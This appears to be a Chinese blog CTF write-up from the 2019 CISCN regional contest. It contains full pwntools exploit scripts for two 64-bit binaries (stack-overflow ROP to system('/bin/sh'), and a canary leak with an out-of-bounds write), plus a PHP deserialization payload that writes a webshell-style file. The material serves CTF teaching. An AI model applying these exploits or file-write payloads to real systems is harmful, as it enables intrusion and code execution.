2019CISCN华中赛区分区赛部分wp

本文深入解析两个安全挑战:一是64位程序中的栈溢出漏洞,利用流程劫持获取shell;二是对象注入攻击,通过精心构造的payload绕过限制,实现文件创建。文章详细展示了如何使用Python脚本进行漏洞利用,包括泄露地址、计算基址和调用系统函数。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

pwn1

64位程序,只开启了NX(栈不可执行)保护,试着运行发现是一个菜单题,选项二、三没用

拖到IDA中查看,发现在encrypt选项中存在gets造成的栈溢出漏洞

不过输进去的字符串被分段异或了,我们可以先进行异或一下,然后在输入程序中,程序再异或一下就是我们想要的payload了

当时写脚本的时候发现流程劫持后,第二次发送payload的时候,payload没有被程序异或,直接打就可以(这里耽误了我一点时间,失分了)

EXP:

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#r = remote("172.29.29.110",8888)
r = process("./Emachine")
file = ELF("./Emachine")
#libc = ELF("./libc6_2.23-0ubuntu10_amd64.so")
libc = ELF("./libc.so.6")
puts_plt = file.plt['puts']
puts_got = file.got['puts']
main_addr = 0x000000000400B28
__start_addr = 0x000000000400710
encode_addr = 0x0000000004009A0
r.recvuntil("Input your choice!\n")
r.sendline("1")
r.recvuntil("Input your Plaintext to be encrypted\n")

log.info("------------------------------ leak real addr -------------------------------------------")
offset = 0x50+8
pop_rdi_addr = 0x0000000000400c83
payload = offset*"b"+ p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
log.info(hex(len(payload)))
payload_list = []
for x in range(len(payload)):
	payload_list.append(payload[x])
print payload_list

for x in range(len(payload_list)):
	if ord(payload_list[x])<=96 or ord(payload_list[x]) >122:
		if ord(payload_list[x])<=64 or ord(payload_list[x]) >90:
			if ord(payload_list[x])>47 and ord(payload_list[x])<=57:
				payload_list[x] = chr(ord(payload_list[x])^0xf)
		else:
			payload_list[x] = chr(ord(payload_list[x])^0xe)
	else:
		payload_list[x] = chr(ord(payload_list[x])^0xd)
payload_change = ""
for x in range(len(payload_list)):
	payload_change+=payload_list[x]
log.info(hex(len(payload_change)))
r.sendline(payload_change)
r.recvuntil("Ciphertext\n")
r.recvuntil("\n",drop=True)
puts_addr = u64(r.recvuntil("\n",drop=True)+"\x00\x00")
libc_puts = libc.symbols['puts']
log.info("puts_addr:"+hex(puts_addr))
base_addr = puts_addr-libc_puts
log.info("base_addr:"+hex(base_addr))
system_addr = base_addr + libc.symbols['system']
log.info("system_addr:"+hex(system_addr))
#binsh_addr = 0x000000000018cd57+base_addr
binsh_addr = 0x000000000017d3f3+base_addr
log.info("binsh_addr:"+hex(binsh_addr))
exit_addr = 0x00000000000013213
log.info("------------------------------ leak success! -------------------------------------------")
log.info("------------------------------ getshell -------------------------------------------")
payload_2 = "a"*offset + p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr)
# payload_list_2 = []
# for x in range(len(payload_2)):
# 	payload_list_2.append(payload_2[x])
# print payload_list_2
# for x in range(len(payload_list_2)):
# 	if ord(payload_list_2[x])<=96 or ord(payload_list_2[x]) >122:
# 		if ord(payload_list_2[x])<=64 or ord(payload_list_2[x]) >90:
# 			if ord(payload_list_2[x])>47 and ord(payload_list_2[x])<=57:
# 				payload_list_2[x] = chr(ord(payload_list_2[x])^0xf)
# 		else:
# 			payload_list_2[x] = chr(ord(payload_list_2[x])^0xe)
# 	else:
# 		payload_list_2[x] = chr(ord(payload_list_2[x])^0xd)
# payload_change_2 = ""
# for x in range(len(payload_list_2)):
# 	payload_change_2+=payload_list_2[x]
# log.info(hex(len(payload_change_2)))
# print payload_change_2
r.recvuntil("Input your choice!\n")
r.sendline("1")
r.recvuntil("Input your Plaintext to be encrypted\n")
r.sendline(payload_2)
r.recv()
# r.recv()
sleep(0.2)
r.interactive()

pwn4

这个pwn当时没做出来,还是自己不认真,题目并不难,感觉有点亏

64位程序,开启了canary保护和NX(栈不可执行)

拖到IDA中查看

在main函数中调用了四个函数

漏洞点在最后一个函数,第一个漏洞点就是scanf输入-或者是+的时候会泄露出栈上的值(当时也不知道这个点)

第二个漏洞点就是change功能时,没有限制base数组下标,造成任意地址修改,不过每次只能输入4个字节的数据并且是int类型

改变之后会根据改变的个数来排序payload,但是27没有限制进去,所以我们用27来绕过排序

Exp:

from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
#nc 172.29.29.113 8888
#r = remote("172.29.29.113",8888)
r = process("./pwn4")
file = ELF("./pwn4")
libc = ELF("./libc.so.6")
r.recvuntil("do you would to sort your girlfriends?[Y/N/@]")
r.send("@")
r.recvuntil("please answer the question1:")
r.send("^")
r.recvuntil("please answer the question2:")
r.send("^")
r.recvuntil("please input your name:")
r.sendline("radish")
r.recvuntil("how many girlfriends do you have?\n")
r.sendline("30")
for x in range(10):
	r.recvuntil("girlfriends:")
	r.sendline(str(0))

for x in range(2):
	r.recvuntil("girlfriends:")
	r.sendline("-")
for x in range(18):
	r.recvuntil("girlfriends:")
	r.sendline(str(0))

r.recvuntil("this is the sort result:")
data = r.recvuntil("you can change your girlfriend\n",drop=True)
list_1 = data.split("  ")
list_2 = []
for x in range(len(list_1)-1):
	if eval(list_1[x])<0 or eval(list_1[x])>9:
		list_2.append(eval(list_1[x]))

for x in range(2):
	if list_2[x]<0:
		list_2[x] =  hex(0xffffffff+list_2[x]+1)
	else:
		list_2[x] = hex(list_2[x])
if list_2[0][-2:]=="00":
	canary = list_2[1]+list_2[0][2:]
	canary_1 = list_2[1]
	canary_2 = list_2[0]
else:
	canary = list_2[0]+list_2[1][2:]
	canary_1 = list_2[0]
	canary_2 = list_2[1]
log.info("canary: "+canary)
log.info("canary_1:"+canary_1)
log.info("canary_2:"+canary_2)

r.sendline("0")
r.recvuntil("which girlfriend do you want to change?")
r.sendline("27")
#gdb.attach(r)
for x in range(10):
	r.recvuntil("now change:\n")
	r.sendline(str(1))

#canary
r.recvuntil("now change:\n")
r.sendline(str(eval(canary_2))) 
r.recvuntil("now change:\n")
r.sendline(str(eval(canary_1))) 
#rbp
r.recvuntil("now change:\n")
r.sendline(str(1))
r.recvuntil("now change:\n")
r.sendline(str(1)) 
pop_rdi_addr = 0x0000000000400d93
puts_plt = file.plt['puts']
puts_got = file.got['puts']
main_addr = 0x000000000400895

#ret1
r.recvuntil("now change:\n")
r.sendline(str(int(pop_rdi_addr)))
r.recvuntil("now change:\n")
r.sendline(str(0))

#data1
r.recvuntil("now change:\n")
r.sendline(str(int(puts_got)))
r.recvuntil("now change:\n")
r.sendline(str(0))

#ret2
r.recvuntil("now change:\n")
r.sendline(str(int(puts_plt)))
r.recvuntil("now change:\n")
r.sendline(str(0))

#ret3
r.recvuntil("now change:\n")
r.sendline(str(int(main_addr)))
r.recvuntil("now change:\n")
r.sendline(str(0))

for x in range(5):
	r.recvuntil("now change:\n")
	r.sendline(str(0))
puts_addr = u64(r.recvuntil("\n",drop=True)+"\x00\x00")
base_addr = puts_addr-libc.symbols['puts']
system_addr = base_addr+libc.symbols['system']
binsh_addr = base_addr+0x000000000017d3f3
log.info("puts_addr:"+hex(puts_addr))
log.info("base_addr:"+hex(base_addr))
log.info("system_addr:"+hex(system_addr))
log.info("binsh_addr:"+hex(binsh_addr))

def change_addr(data):
	data_hex = hex(data)
	a = data_hex[:6]
	b = "0x"+data_hex[6:]
	return eval(a),eval(b)

system_addr_1,system_addr_2 = change_addr(system_addr)
binsh_addr_1,binsh_addr_2 = change_addr(binsh_addr)

r.recvuntil("how many girlfriends do you have?\n")
r.sendline("1")
r.recvuntil("girlfriends:")
r.sendline("1")
r.recvuntil("you can change your girlfriend\n")
r.sendline("0")
r.recvuntil("which girlfriend do you want to change?")
r.sendline("27")

for x in range(10):
	r.recvuntil("now change:\n")
	r.sendline(str(1))

#canary
r.recvuntil("now change:\n")
r.sendline(str(eval(canary_2))) 
r.recvuntil("now change:\n")
r.sendline(str(eval(canary_1))) 
#rbp
r.recvuntil("now change:\n")
r.sendline(str(1))
r.recvuntil("now change:\n")
r.sendline(str(1)) 

#ret1
r.recvuntil("now change:\n")
r.sendline(str(int(pop_rdi_addr)))
r.recvuntil("now change:\n")
r.sendline(str(0))


#data1
r.recvuntil("now change:\n")
r.sendline(str(int(binsh_addr_2)))
r.recvuntil("now change:\n")
r.sendline(str(int(binsh_addr_1)))

#ret2
r.recvuntil("now change:\n")
r.sendline(str(int(system_addr_2)))
r.recvuntil("now change:\n")
r.sendline(str(int(system_addr_1)))


for x in range(7):
	r.recvuntil("now change:\n")
	r.sendline(str(0))

sleep(0.2)
r.interactive()

web1

给出源码,很容易发现这是一个对象注入的题

<?php 
// ini_set("display_errors", "On");  
// error_reporting(E_ALL | E_STRICT); 
class BlogLog { 
  public $log_ = '/tmp/web_log'; 
  public $content = '[access] %s'; 

  public function __construct($data=null) { 
    $temp = $this->init($data); 
    $this->render($temp); 
  } 

  public function init($data) { 
    // No, you can't control an object anymore! 
    $format = '/O:\d:/'; 
    $flag = true; 
    $flag = $flag && substr($data, 0, 2) !== 'O:'; 
    $flag = $flag && (!preg_match($format, $data)); 
    if ($flag){ 
      return ($data); 
    } 
    return []; 
  } 

  public function createLog($filename=null, $content=null) { 
    if ($this->log_ != null) 
      $filename = $this->log_; 
    if ($this->content != null) 
      $content = $this->content; 
    file_put_contents($filename, $content); 
  } 

  public function render($k) { 
    echo sprintf($this->content, $k['name']); 
  } 

  public function __destruct() { 
    $this->createLog(); 
  } 
} 

$data = ""; 
if (isset($_GET['data'])){ 
  $data = $_GET['data']; 
  new BlogLog($data); 
} 
else 
  highlight_file(__FILE__); 

销毁对象的时候调用createLog函数,createLog函数会利用file_put_contents创建一个文件,并且unserialize的参数我们可控,所以造成对象注入

题目限制

  • data不能是一O:,也就是说不能是对象的反序列化后的字符串
  • 字符串中不能有/O:\d:/,我们可以在长度前面加上+来绕过

构造payload

<?php 
class BlogLog { 
  public $log_ = './radish.php'; 
  public $content = '<?php phpinfo();?>'; 
}
$a = new BlogLog();
$arr = array("luobu"=>"radish",$a);
echo serialize($arr);
?>

payload是a:2:{i:1;s:3:"wxm";i:2;O:+7:"BlogLog":2:{s:4:"log_";s:12:"./radish.php";s:7:"content";s:18:"<?php phpinfo();?>";}}

进行URL编码一下就可以创建文件了

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值